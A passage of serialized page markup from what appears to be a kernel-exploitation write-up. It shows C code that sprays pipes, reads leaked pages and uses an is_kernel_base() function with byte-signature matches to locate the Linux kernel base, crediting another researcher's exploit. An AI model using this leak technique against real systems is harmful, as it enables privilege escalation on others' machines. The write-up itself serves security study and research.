kernel_base;\n",{"type":23,"tag":75,"props":69812,"children":69813},{"class":77,"line":303},[69814,69818,69822,69826,69830,69834],{"type":23,"tag":75,"props":69815,"children":69816},{"style":110},[69817],{"type":29,"value":69784},{"type":23,"tag":75,"props":69819,"children":69820},{"style":94},[69821],{"type":29,"value":1156},{"type":23,"tag":75,"props":69823,"children":69824},{"style":110},[69825],{"type":29,"value":25142},{"type":23,"tag":75,"props":69827,"children":69828},{"style":209},[69829],{"type":29,"value":1193},{"type":23,"tag":75,"props":69831,"children":69832},{"style":237},[69833],{"type":29,"value":240},{"type":23,"tag":75,"props":69835,"children":69836},{"style":94},[69837],{"type":29,"value":245},{"type":23,"tag":75,"props":69839,"children":69840},{"class":77,"line":322},[69841,69845,69849,69853,69857,69862,69866,69870],{"type":23,"tag":75,"props":69842,"children":69843},{"style":110},[69844],{"type":29,"value":69784},{"type":23,"tag":75,"props":69846,"children":69847},{"style":94},[69848],{"type":29,"value":1156},{"type":23,"tag":75,"props":69850,"children":69851},{"style":110},[69852],{"type":29,"value":679},{"type":23,"tag":75,"props":69854,"children":69855},{"style":209},[69856],{"type":29,"value":1193},{"type":23,"tag":75,"props":69858,"children":69859},{"style":94},[69860],{"type":29,"value":69861}," PAGE_SIZE ",{"type":23,"tag":75,"props":69863,"children":69864},{"style":209},[69865],{"type":29,"value":7862},{"type":23,"tag":75,"props":69867,"children":69868},{"style":237},[69869],{"type":29,"value":15795},{"type":23,"tag":75,"props":69871,"children":69872},{"style":94},[69873],{"type":29,"value":245},{"type":23,"tag":75,"props":69875,"children":69876},{"class":77,"line":340},[69877],{"type":23,"tag":75,"props":69878,"children":69879},{"style":94},[69880],{"type":29,"value":21566},{"type":23,"tag":75,"props":69882,"children":69883},{"class":77,"line":349},[69884,69889,69893,69897,69901,69905,69910,69914,69919,69923],{"type":23,"tag":75,"props":69885,"children":69886},{"style":94},[69887],{"type":29,"value":69888},"        for (",{"type":23,"tag":75,"props":69890,"children":69891},{"style":82},[69892],{"type":29,"value":30270},{"type":23,"tag":75,"props":69894,"children":69895},{"style":110},[69896],{"type":29,"value":19880},{"type":23,"tag":75,"props":69898,"children":69899},{"style":209},[69900],{"type":29,"value":1193},{"type":23,"tag":75,"props":69902,"children":69903},{"style":237},[69904],{"type":29,"value":240},{"type":23,"tag":75,"props":69906,"children":69907},{"style":94},[69908],{"type":29,"value":69909},"; j ",{"type":23,"tag":75,"props":69911,"children":69912},{"style":209},[69913],{"type":29,"value":295},{"type":23,"tag":75,"props":69915,"children":69916},{"style":94},[69917],{"type":29,"value":69918}," PIPE_SPRAY; j",{"type":23,"tag":75,"props":69920,"children":69921},{"style":209},[69922],{"type":29,"value":62454},{"type":23,"tag":75,"props":69924,"children":69925},{"style":94},[69926],{"type":29,"value":653},{"type":23,"tag":75,"props":69928,"children":69929},{"class":77,"line":363},[69930],{"type":23,"tag":75,"props":69931,"children":69932},{"style":94},[69933],{"type":29,"value":42854},{"type":23,"tag":75,"props":69935,"children":69936},{"class":77,"line":656},[69937,69942,69946,69950,69955,69959],{"type":23,"tag":75,"props":69938,"children":69939},{"style":88},[69940],{"type":29,"value":69941},"            memset",{"type":23,"tag":75,"props":69943,"children":69944},{"style":94},[69945],{"type":29,"value":643},{"type":23,"tag":75,"props":69947,"children":69948},{"style":209},[69949],{"type":29,"value":1277},{"type":23,"tag":75,"props":69951,"children":69952},{"style":94},[69953],{"type":29,"value":69954},"data, ",{"type":23,"tag":75,"props":69956,"children":69957},{"style":237},[69958],{"type":29,"value":648},{"type":23,"tag":75,"props":69960,"children":69961},{"style":94},[69962],{"type":29,"value":69963},", PAGE_SIZE);\n",{"type":23,"tag":75,"props":69965,"children":69966},{"class":77,"line":705},[69967,69972],{"type":23,"tag":75,"props":69968,"children":69969},{"style":82},[69970],{"type":29,"value":69971},"            int",{"type":23,"tag":75,"props":69973,"children":69974},{"style":94},[69975],{"type":29,"value":69976}," count;\n",{"type":23,"tag":75,"props":69978,"children":69979},{"class":77,"line":787},[69980,69984,69989,69993,69998,70002,70007,70012,70016,70020,70024,70029,70033,70037],{"type":23,"tag":75,"props":69981,"children":69982},{"style":175},[69983],{"type":29,"value":4629},{"type":23,"tag":75,"props":69985,"children":69986},{"style":94},[69987],{"type":29,"value":69988}," (count ",{"type":23,"tag":75,"props":69990,"children":69991},{"style":209},[69992],{"type":29,"value":212},{"type":23,"tag":75,"props":69994,"children":69995},{"style":88},[69996],{"type":29,"value":69997}," read",{"type":23,"tag":75,"props":69999,"children":70000},{"style":94},[70001],{"type":29,"value":643},{"type":23,"tag":75,"props":70003,"children":70004},{"style":110},[70005],{"type":29,"value":70006},"pfd",{"type":23,"tag":75,"props":70008,"children":70009},{"style":94},[70010],{"type":29,"value":70011},"[j][",{"type":23,"tag":75,"props":70013,"children":70014},{"style":237},[70015],{"type":29,"value":648},{"type":23,"tag":75,"props":70017,"children":70018},{"style":94},[70019],{"type":29,"value":34275},{"type":23,"tag":75,"props":70021,"children":70022},{"style":209},[70023],{"type":29,"value":1277},{"type":23,"tag":75,"props":70025,"children":70026},{"style":94},[70027],{"type":29,"value":70028},"data, PAGE_SIZE) ",{"type":23,"tag":75,"props":70030,"children":70031},{"style":209},[70032],{"type":29,"value":295},{"type":23,"tag":75,"props":70034,"children":70035},{"style":237},[70036],{"type":29,"value":240},{"type":23,"tag":75,"props":70038,"children":70039},{"style":94},[70040],{"type":29,"value":653},{"type":23,"tag":75,"props":70042,"children":70043},{"class":77,"line":826},[70044],{"type":23,"tag":75,"props":70045,"children":70046},{"style":94},[70047],{"type":29,"value":42890},{"type":23,"tag":75,"props":70049,"children":70050},{"class":77,"line":834},[70051,70056],{"type":23,"tag":75,"props":70052,"children":70053},{"style":175},[70054],{"type":29,"value":70055},"                continue",{"type":23,"tag":75,"props":70057,"children":70058},{"style":94},[70059],{"type":29,"value":245},{"type":23,"tag":75,"props":70061,"children":70062},{"class":77,"line":881},[70063],{"type":23,"tag":75,"props":70064,"children":70065},{"style":94},[70066],{"type":29,"value":5022},{"type":23,"tag":75,"props":70068,"children":70069},{"class":77,"line":3355},[70070],{"type":23,"tag":75,"props":70071,"children":70072},{"style":94},[70073],{"type":29,"value":21566},{"type":23,"tag":75,"props":70075,"children":70076},{"class":77,"line":3390},[70077],{"type":23,"tag":75,"props":70078,"children":70079},{"emptyLinePlaceholder":15},[70080],{"type":29,"value":276},{"type":23,"tag":75,"props":70082,"children":70083},{"class":77,"line":3423},[70084,70089,70094,70098,70102],{"type":23,"tag":75,"props":70085,"children":70086},{"style":94},[70087],{"type":29,"value":70088},"            if (",{"type":23,"tag":75,"props":70090,"children":70091},{"style":104},[70092],{"type":29,"value":70093},"is_kernel_base",{"type":23,"tag":75,"props":70095,"children":70096},{"style":94},[70097],{"type":29,"value":643},{"type":23,"tag":75,"props":70099,"children":70100},{"style":104},[70101],{"type":29,"value":14976},{"type":23,"tag":75,"props":70103,"children":70104},{"style":94},[70105],{"type":29,"value":70106},")) // [1] identify kernel base\n",{"type":23,"tag":75,"props":70108,"children":70109},{"class":77,"line":3436},[70110],{"type":23,"tag":75,"props":70111,"children":70112},{"style":94},[70113],{"type":29,"value":42890},{"type":23,"tag":75,"props":70115,"children":70116},{"class":77,"line":3449},[70117,70122,70126,70130],{"type":23,"tag":75,"props":70118,"children":70119},{"style":94},[70120],{"type":29,"value":70121},"                found ",{"type":23,"tag":75,"props":70123,"children":70124},{"style":209},[70125],{"type":29,"value":212},{"type":23,"tag":75,"props":70127,"children":70128},{"style":82},[70129],{"type":29,"value":23713},{"type":23,"tag":75,"props":70131,"children":70132},{"style":94},[70133],{"type":29,"value":245},{"type":23,"tag":75,"props":70135,"children":70136},{"class":77,"line":3457},[70137,70142],{"type":23,"tag":75,"props":70138,"children":70139},{"style":175},[70140],{"type":29,"value":70141},"                break",{"type":23,"tag":75,"props":70143,"children":70144},{"style":94},[70145],{"type":29,"value":245},{"type":23,"tag":75,"props":70147,"children":70148},{"class":77,"line":3465},[70149],{"type":23,"tag":75,"props":70150,"children":70151},{"style":94},[70152],{"type":29,"value":5022},{"type":23,"tag":75,"props":70154,"children":70155},{"class":77,"line":3473},[70156],{"type":23,"tag":75,"props":70157,"children":70158},{"style":94},[70159],{"type":29,"value":2503},{"type":23,"tag":75,"props":70161,"children":70162},{"class":77,"line":3481},[70163],{"type":23,"tag":75,"props":70164,"children":70165},{"emptyLinePlaceholder":15},[70166],{"type":29,"value":276},{"type":23,"tag":75,"props":70168,"children":70169},{"class":77,"line":3524},[70170],{"type":23,"tag":75,"props":70171,"children":70172},{"style":94},[70173],{"type":29,"value":21566},{"type":23,"tag":32,"props":70175,"children":70176},{},[70177,70179,70183,70185,70191,70193,70197],{"type":29,"value":70178},"Notice that at ",{"type":23,"tag":75,"props":70180,"children":70181},{},[70182],{"type":29,"value":7867},{"type":29,"value":70184}," we call the ",{"type":23,"tag":71,"props":70186,"children":70188},{"className":70187},[],[70189],{"type":29,"value":70190},"is_kernel_base()",{"type":29,"value":70192}," function. This is a function based on lau's exploit ",{"type":23,"tag":75,"props":70194,"children":70195},{},[70196],{"type":29,"value":29331},{"type":29,"value":70198}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":23,"tag":64,"props":70200,"children":70202},{"className":40306,"code":70201,"language":40308,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n    // thanks lau :)\n\n    // get-sig kernel_runtime_1\n    if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n        memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n        return true;\n\n    // get-sig kernel_runtime_2\n    if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n        memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n        memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n        memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n        memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n        memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n        memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n        memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n        memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n        memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n        memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n        return true;\n\n    return false;\n}\n[...]\n",[70203],{"type":23,"tag":71,"props":70204,"children":70205},{"__ignoreMap":7},[70206,70213,70243,70250,70258,70265,70273,70344,70406,70421,70428,70436,70504,70566,70627,70688,70750,70812,70873,70934,70995,71056,71117,71132,71139,71154,71161],{"type":23,"tag":75,"props":70207,"children":70208},{"class":77,"line":78},[70209],{"type":23,"tag":75,"props":70210,"children":70211},{"style":94},[70212],{"type":29,"value":21566},{"type":23,"tag":75,"props":70214,"children":70215},{"class":77,"line":100},[70216,70221,70226,70231,70235,70239],{"type":23,"tag":75,"props":70217,"children":70218},{"style":94},[70219],{"type":29,"value":70220},"static bool is_kernel_base(",{"type":23,"tag":75,"props":70222,"children":70223},{"style":82},[70224],{"type":29,"value":70225},"unsigned",{"type":23,"tag":75,"props":70227,"children":70228},{"style":82},[70229],{"type":29,"value":70230}," char",{"type":23,"tag":75,"props":70232,"children":70233},{"style":82},[70234],{"type":29,"value":579},{"type":23,"tag":75,"props":70236,"children":70237},{"style":110},[70238],{"type":29,"value":41882},{"type":23,"tag":75,"props":70240,"children":70241},{"style":94},[70242],{"type":29,"value":653},{"type":23,"tag":75,"props":70244,"children":70245},{"class":77,"line":121},[70246],{"type":23,"tag":75,"props":70247,"children":70248},{"style":94},[70249],{"type":29,"value":2549},{"type":23,"tag":75,"props":70251,"children":70252},{"class":77,"line":138},[70253],{"type":23,"tag":75,"props":70254,"children":70255},{"style":3621},[70256],{"type":29,"value":70257},"    // thanks lau :)\n",{"type":23,"tag":75,"props":70259,"children":70260},{"class":77,"line":161},[70261],{"type":23,"tag":75,"props":70262,"children":70263},{"emptyLinePlaceholder":15},[70264],{"type":29,"value":276},{"type":23,"tag":75,"props":70266,"children":70267},{"class":77,"line":196},[70268],{"type":23,"tag":75,"props":70269,"children":70270},{"style":3621},[70271],{"type":29,"value":70272},"    // get-sig kernel_runtime_1\n",{"type":23,"tag":75,"props":70274,"children":70275},{"class":77,"line":220},[70276,70280,70284,70289,70294,70298,70303,70307,70311,70316,70320,70324,70328,70332,70336,70340],{"type":23,"tag":75,"props":70277,"children":70278},{"style":175},[70279],{"type":29,"value":1363},{"type":23,"tag":75,"props":70281,"children":70282},{"style":94},[70283],{"type":29,"value":183},{"type":23,"tag":75,"props":70285,"children":70286},{"style":88},[70287],{"type":29,"value":70288},"memcmp",{"type":23,"tag":75,"props":70290,"children":70291},{"style":94},[70292],{"type":29,"value":70293},"(addr ",{"type":23,"tag":75,"props":70295,"children":70296},{"style":209},[70297],{"type":29,"value":7862},{"type":23,"tag":75,"props":70299,"children":70300},{"style":237},[70301],{"type":29,"value":70302}," 0x0",{"type":23,"tag":75,"props":70304,"children":70305},{"style":94},[70306],{"type":29,"value":611},{"type":23,"tag":75,"props":70308,"children":70309},{"style":1266},[70310],{"type":29,"value":31282},{"type":23,"tag":75,"props":70312,"children":70313},{"style":11688},[70314],{"type":29,"value":70315},"\\x48\\x8d\\x25\\x51\\x3f",{"type":23,"tag":75,"props":70317,"children":70318},{"style":1266},[70319],{"type":29,"value":31282},{"type":23,"tag":75,"props":70321,"children":70322},{"style":94},[70323],{"type":29,"value":611},{"type":23,"tag":75,"props":70325,"children":70326},{"style":237},[70327],{"type":29,"value":29331},{"type":23,"tag":75,"props":70329,"children":70330},{"style":94},[70331],{"type":29,"value":167},{"type":23,"tag":75,"props":70333,"children":70334},{"style":209},[70335],{"type":29,"value":2469},{"type":23,"tag":75,"props":70337,"children":70338},{"style":237},[70339],{"type":29,"value":240},{"type":23,"tag":75,"props":70341,"children":70342},{"style":209},[70343],{"type":29,"value":63869},{"type":23,"tag":75,"props":70345,"children":70346},{"class":77,"line":248},[70347,70352,70356,70360,70365,70369,70373,70378,70382,70386,70390,70394,70398,70402],{"type":23,"tag":75,"props":70348,"children":70349},{"style":88},[70350],{"type":29,"value":70351},"        memcmp",{"type":23,"tag":75,"props":70353,"children":70354},{"style":94},[70355],{"type":29,"value":70293},{"type":23,"tag":75,"props":70357,"children":70358},{"style":209},[70359],{"type":29,"value":7862},{"type":23,"tag":75,"props":70361,"children":70362},{"style":237},[70363],{"type":29,"value":70364}," 0x7",{"type":23,"tag":75,"props":70366,"children":70367},{"style":94},[70368],{"type":29,"value":611},{"type":23,"tag":75,"props":70370,"children":70371},{"style":1266},[70372],{"type":29,"value":31282},{"type":23,"tag":75,"props":70374,"children":70375},{"style":11688},[70376],{"type":29,"value":70377},"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff",{"type":23,"tag":75,"props":70379,"children":70380},{"style":1266},[70381],{"type":29,"value":31282},{"type":23,"tag":75,"props":70383,"children":70384},{"style":94},[70385],{"type":29,"value":611},{"type":23,"tag":75,"props":70387,"children":70388},{"style":237},[70389],{"type":29,"value":65855},{"type":23,"tag":75,"props":70391,"children":70392},{"style":94},[70393],{"type":29,"value":167},{"type":23,"tag":75,"props":70395,"children":70396},{"style":209},[70397],{"type":29,"value":2469},{"type":23,"tag":75,"props":70399,"children":70400},{"style":237},[70401],{"type":29,"value":240},{"type":23,"tag":75,"props":70403,"children":70404},{"style":94},[70405],{"type":29,"value":653},{"type":23,"tag":75,"props":70407,"children":70408},{"class":77,"line":270},[70409,70413,70417],{"type":23,"tag":75,"props":70410,"children":70411},{"style":175},[70412],{"type":29,"value":1388},{"type":23,"tag":75,"props":70414,"children":70415},{"style":82},[70416],{"type":29,"value":23713},{"type":23,"tag":75,"props":70418,"children":70419},{"style":94},[70420],{"type":29,"value":245},{"type":23,"tag":75,"props":70422,"children":70423},{"class":77,"line":279},[70424],{"type":23,"tag":75,"props":70425,"children":70426},{"emptyLinePlaceholder":15},[70427],{"type":29,"value":276},{"type":23,"tag":75,"props":70429,"children":70430},{"class":77,"line":303},[70431],{"type":23,"tag":75,"props":70432,"children":70433},{"style":3621},[70434],{"type":29,"value":70435},"    // get-sig kernel_runtime_2\n",{"type":23,"tag":75,"props":70437,"children":70438},{"class":77,"line":322},[70439,70443,70447,70451,70455,70459,70463,70467,70471,70476,70480,70484,70488,70492,70496,70500],{"type":23,"tag":75,"props":70440,"children":70441},{"style":175},[70442],{"type":29,"value":1363},{"type":23,"tag":75,"props":70444,"children":70445},{"style":94},[70446],{"type":29,"value":183},{"type":23,"tag":75,"props":70448,"children":70449},{"style":88},[70450],{"type":29,"value":70288},{"type":23,"tag":75,"props":70452,"children":70453},{"style":94},[70454],{"type":29,"value":70293},{"type":23,"tag":75,"props":70456,"children":70457},{"style":209},[70458],{"type":29,"value":7862},{"type":23,"tag":75,"props":70460,"children":70461},{"style":237},[70462],{"type":29,"value":70302},{"type":23,"tag":75,"props":70464,"children":70465},{"style":94},[70466],{"type":29,"value":611},{"type":23,"tag":75,"props":70468,"children":70469},{"style":1266},[70470],{"type":29,"value":31282},{"type":23,"tag":75,"props":70472,"children":70473},{"style":11688},[70474],{"type":29,"value":70475},"\\xfc\\x0f\\x01\\x15",{"type":23,"tag":75,"props":70477,"children":70478},{"style":1266},[70479],{"type":29,"value":31282},{"type":23,"tag":75,"props":70481,"children":70482},{"style":94},[70483],{"type":29,"value":611},{"type":23,"tag":75,"props":70485,"children":70486},{"style":237},[70487],{"type":29,"value":28751},{"type":23,"tag":75,"props":70489,"children":70490},{"style":94},[70491],{"type":29,"value":167},{"type":23,"tag":75,"props":70493,"children":70494},{"style":209},[70495],{"type":29,"value":2469},{"type":23,"tag":75,"props":70497,"children":70498},{"style":237},[70499],{"type":29,"value":240},{"type":23,"tag":75,"props":70501,"children":70502},{"style":209},[70503],{"type":29,"value":63869},{"type":23,"tag":75,"props":70505,"children":70506},{"class":77,"line":340},[70507,70511,70515,70519,70524,70528,70532,70537,70541,70545,70550,70554,70558,70562],{"type":23,"tag":75,"props":70508,"children":70509},{"style":88},[70510],{"type":29,"value":70351},{"type":23,"tag":75,"props":70512,"children":70513},{"style":94},[70514],{"type":29,"value":70293},{"type":23,"tag":75,"props":70516,"children":70517},{"style":209},[70518],{"type":29,"value":7862},{"type":23,"tag":75,"props":70520,"children":70521},{"style":237},[70522],{"type":29,"value":70523}," 0x8",{"type":23,"tag":75,"props":70525,"children":70526},{"style":94},[70527],{"type":29,"value":611},{"type":23,"tag":75,"props":70529,"children":70530},{"style":1266},[70531],{"type":29,"value":31282},{"type":23,"tag":75,"props":70533,"children":70534},{"style":11688},[70535],{"type":29,"value":70536},"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf",{"type":23,"tag":75,"props":70538,"children":70539},{"style":1266},[70540],{"type":29,"value":31282},{"type":23,"tag":75,"props":70542,"children":70543},{"style":94},[70544],{"type":29,"value":611},{"type":23,"tag":75,"props":70546,"children":70547},{"style":237},[70548],{"type":29,"value":70549},"12",{"type":23,"tag":75,"props":70551,"children":70552},{"style":94},[70553],{"type":29,"value":167},{"type":23,"tag":75,"props":70555,"children":70556},{"style":209},[70557],{"type":29,"value":2469},{"type":23,"tag":75,"props":70559,"children":70560},{"style":237},[70561],{"type":29,"value":240},{"type":23,"tag":75,"props":70563,"children":70564},{"style":209},[70565],{"type":29,"value":63869},{"type":23,"tag":75,"props":70567,"children":70568},{"class":77,"line":349},[70569,70573,70577,70581,70586,70590,70594,70599,70603,70607,70611,70615,70619,70623],{"type":23,"tag":75,"props":70570,"children":70571},{"style":88},[70572],{"type":29,"value":70351},{"type":23,"tag":75,"props":70574,"children":70575},{"style":94},[70576],{"type":29,"value":70293},{"type":23,"tag":75,"props":70578,"children":70579},{"style":209},[70580],{"type":29,"value":7862},{"type":23,"tag":75,"props":70582,"children":70583},{"style":237},[70584],{"type":29,"value":70585}," 0x18",{"type":23,"tag":75,"props":70587,"children":70588},{"style":94},[70589],{"type":29,"value":611},{"type":23,"tag":75,"props":70591,"children":70592},{"style":1266},[70593],{"type":29,"value":31282},{"type":23,"tag":75,"props":70595,"children":70596},{"style":11688},[70597],{"type":29,"value":70598},"\\x89\\xde\\x8b\\x0d",{"type":23,"tag":75,"props":70600,"children":70601},{"style":1266},[70602],{"type":29,"value":31282},{"type":23,"tag":75,"props":70604,"children":70605},{"style":94},[70606],{"type":29,"value":611},{"type":23,"tag":75,"props":70608,"children":70609},{"style":237},[70610],{"type":29,"value":28751},{"type":23,"tag":75,"props":70612,"children":70613},{"style":94},[70614],{"type":29,"value":167},{"type":23,"tag":75,"props":70616,"children":70617},{"style":209},[70618],{"type":29,"value":2469},{"type":23,"tag":75,"props":70620,"children":70621},{"style":237},[70622],{"type":29,"value":240},{"type":23,"tag":75,"props":70624,"children":70625},{"style":209},[70626],{"type":29,"value":63869},{"type":23,"tag":75,"props":70628,"children":70629},{"class":77,"line":363},[70630,70634,70638,70642,70647,70651,70655,70660,70664,70668,70672,70676,70680,70684],{"type":23,"tag":75,"props":70631,"children":70632},{"style":88},[70633],{"type":29,"value":70351},{"type":23,"tag":75,"props":70635,"children":70636},{"style":94},[70637],{"type":29,"value":70293},{"type":23,"tag":75,"props":70639,"children":70640},{"style":209},[70641],{"type":29,"value":7862},{"type":23,"tag":75,"props":70643,"children":70644},{"style":237},[70645],{"type":29,"value":70646}," 0x20",{"type":23,"tag":75,"props":70648,"children":70649},{"style":94},[70650],{"type":29,"value":611},{"type":23,"tag":75,"props":70652,"children":70653},{"style":1266},[70654],{"type":29,"value":31282},{"type":23,"tag":75,"props":70656,"children":70657},{"style":11688},[70658],{"type":29,"value":70659},"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc",{"type":23,"tag":75,"props":70661,"children":70662},{"style":1266},[70663],{"type":29,"value":31282},{"type":23,"tag":75,"props":70665,"children":70666},{"style":94},[70667],{"type":29,"value":611},{"type":23,"tag":75,"props":70669,"children":70670},{"style":237},[70671],{"type":29,"value":29642},{"type":23,"tag":75,"props":70673,"children":70674},{"style":94},[70675],{"type":29,"value":167},{"type":23,"tag":75,"props":70677,"children":70678},{"style":209},[70679],{"type":29,"value":2469},{"type":23,"tag":75,"props":70681,"children":70682},{"style":237},[70683],{"type":29,"value":240},{"type":23,"tag":75,"props":70685,"children":70686},{"style":209},[70687],{"type":29,"value":63869},{"type":23,"tag":75,"props":70689,"children":70690},{"class":77,"line":656},[70691,70695,70699,70703,70708,70712,70716,70721,70725,70729,70734,70738,70742,70746],{"type":23,"tag":75,"props":70692,"children":70693},{"style":88},[70694],{"type":29,"value":70351},{"type":23,"tag":75,"props":70696,"children":70697},{"style":94},[70698],{"type":29,"value":70293},{"type":23,"tag":75,"props":70700,"children":70701},{"style":209},[70702],{"type":29,"value":7862},{"type":23,"tag":75,"props":70704,"children":70705},{"style":237},[70706],{"type":29,"value":70707}," 0x2a",{"type":23,"tag":75,"props":70709,"children":70710},{"style":94},[70711],{"type":29,"value":611},{"type":23,"tag":75,"props":70713,"children":70714},{"style":1266},[70715],{"type":29,"value":31282},{"type":23,"tag":75,"props":70717,"children":70718},{"style":11688},[70719],{"type":29,"value":70720},"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00",{"type":23,"tag":75,"props":70722,"children":70723},{"style":1266},[70724],{"type":29,"value":31282},{"type":23,"tag":75,"props":70726,"children":70727},{"style":94},[70728],{"type":29,"value":611},{"type":23,"tag":75,"props":70730,"children":70731},{"style":237},[70732],{"type":29,"value":70733},"24",{"type":23,"tag":75,"props":70735,"children":70736},{"style":94},[70737],{"type":29,"value":167},{"type":23,"tag":75,"props":70739,"children":70740},{"style":209},[70741],{"type":29,"value":2469},{"type":23,"tag":75,"props":70743,"children":70744},{"style":237},[70745],{"type":29,"value":240},{"type":23,"tag":75,"props":70747,"children":70748},{"style":209},[70749],{"type":29,"value":63869},{"type":23,"tag":75,"props":70751,"children":70752},{"class":77,"line":705},[70753,70757,70761,70765,70770,70774,70778,70783,70787,70791,70796,70800,70804,70808],{"type":23,"tag":75,"props":70754,"children":70755},{"style":88},[70756],{"type":29,"value":70351},{"type":23,"tag":75,"props":70758,"children":70759},{"style":94},[70760],{"type":29,"value":70293},{"type":23,"tag":75,"props":70762,"children":70763},{"style":209},[70764],{"type":29,"value":7862},{"type":23,"tag":75,"props":70766,"children":70767},{"style":237},[70768],{"type":29,"value":70769}," 0x45",{"type":23,"tag":75,"props":70771,"children":70772},{"style":94},[70773],{"type":29,"value":611},{"type":23,"tag":75,"props":70775,"children":70776},{"style":1266},[70777],{"type":29,"value":31282},{"type":23,"tag":75,"props":70779,"children":70780},{"style":11688},[70781],{"type":29,"value":70782},"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00",{"type":23,"tag":75,"props":70784,"children":70785},{"style":1266},[70786],{"type":29,"value":31282},{"type":23,"tag":75,"props":70788,"children":70789},{"style":94},[70790],{"type":29,"value":611},{"type":23,"tag":75,"props":70792,"children":70793},{"style":237},[70794],{"type":29,"value":70795},"15",{"type":23,"tag":75,"props":70797,"children":70798},{"style":94},[70799],{"type":29,"value":167},{"type":23,"tag":75,"props":70801,"children":70802},{"style":209},[70803],{"type":29,"value":2469},{"type":23,"tag":75,"props":70805,"children":70806},{"style":237},[70807],{"type":29,"value":240},{"type":23,"tag":75,"props":70809,"children":70810},{"style":209},[70811],{"type":29,"value":63869},{"type":23,"tag":75,"props":70813,"children":70814},{"class":77,"line":787},[70815,70819,70823,70827,70832,70836,70840,70845,70849,70853,70857,70861,70865,70869],{"type":23,"tag":75,"props":70816,"children":70817},{"style":88},[70818],{"type":29,"value":70351},{"type":23,"tag":75,"props":70820,"children":70821},{"style":94},[70822],{"type":29,"value":70293},{"type":23,"tag":75,"props":70824,"children":70825},{"style":209},[70826],{"type":29,"value":7862},{"type":23,"tag":75,"props":70828,"children":70829},{"style":237},[70830],{"type":29,"value":70831}," 0x55",{"type":23,"tag":75,"props":70833,"children":70834},{"style":94},[70835],{"type":29,"value":611},{"type":23,"tag":75,"props":70837,"children":70838},{"style":1266},[70839],{"type":29,"value":31282},{"type":23,"tag":75,"props":70841,"children":70842},{"style":11688},[70843],{"type":29,"value":70844},"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8",{"type":23,"tag":75,"props":70846,"children":70847},{"style":1266},[70848],{"type":29,"value":31282},{"type":23,"tag":75,"props":70850,"children":70851},{"style":94},[70852],{"type":29,"value":611},{"type":23,"tag":75,"props":70854,"children":70855},{"style":237},[70856],{"type":29,"value":15349},{"type":23,"tag":75,"props":70858,"children":70859},{"style":94},[70860],{"type":29,"value":167},{"type":23,"tag":75,"props":70862,"children":70863},{"style":209},[70864],{"type":29,"value":2469},{"type":23,"tag":75,"props":70866,"children":70867},{"style":237},[70868],{"type":29,"value":240},{"type":23,"tag":75,"props":70870,"children":70871},{"style":209},[70872],{"type":29,"value":63869},{"type":23,"tag":75,"props":70874,"children":70875},{"class":77,"line":826},[70876,70880,70884,70888,70893,70897,70901,70906,70910,70914,70918,70922,70926,70930],{"type":23,"tag":75,"props":70877,"children":70878},{"style":88},[70879],{"type":29,"value":70351},{"type":23,"tag":75,"props":70881,"children":70882},{"style":94},[70883],{"type":29,"value":70293},{"type":23,"tag":75,"props":70885,"children":70886},{"style":209},[70887],{"type":29,"value":7862},{"type":23,"tag":75,"props":70889,"children":70890},{"style":237},[70891],{"type":29,"value":70892}," 0x61",{"type":23,"tag":75,"props":70894,"children":70895},{"style":94},[70896],{"type":29,"value":611},{"type":23,"tag":75,"props":70898,"children":70899},{"style":1266},[70900],{"type":29,"value":31282},{"type":23,"tag":75,"props":70902,"children":70903},{"style":11688},[70904],{"type":29,"value":70905},"\\x31\\xd2\\x0f\\x30\\xe8",{"type":23,"tag":75,"props":70907,"children":70908},{"style":1266},[70909],{"type":29,"value":31282},{"type":23,"tag":75,"props":70911,"children":70912},{"style":94},[70913],{"type":29,"value":611},{"type":23,"tag":75,"props":70915,"children":70916},{"style":237},[70917],{"type":29,"value":29331},{"type":23,"tag":75,"props":70919,"children":70920},{"style":94},[70921],{"type":29,"value":167},{"type":23,"tag":75,"props":70923,"children":70924},{"style":209},[70925],{"type":29,"value":2469},{"type":23,"tag":75,"props":70927,"children":70928},{"style":237},[70929],{"type":29,"value":240},{"type":23,"tag":75,"props":70931,"children":70932},{"style":209},[70933],{"type":29,"value":63869},{"type":23,"tag":75,"props":70935,"children":70936},{"class":77,"line":834},[70937,70941,70945,70949,70954,70958,70962,70967,70971,70975,70979,70983,70987,70991],{"type":23,"tag":75,"props":70938,"children":70939},{"style":88},[70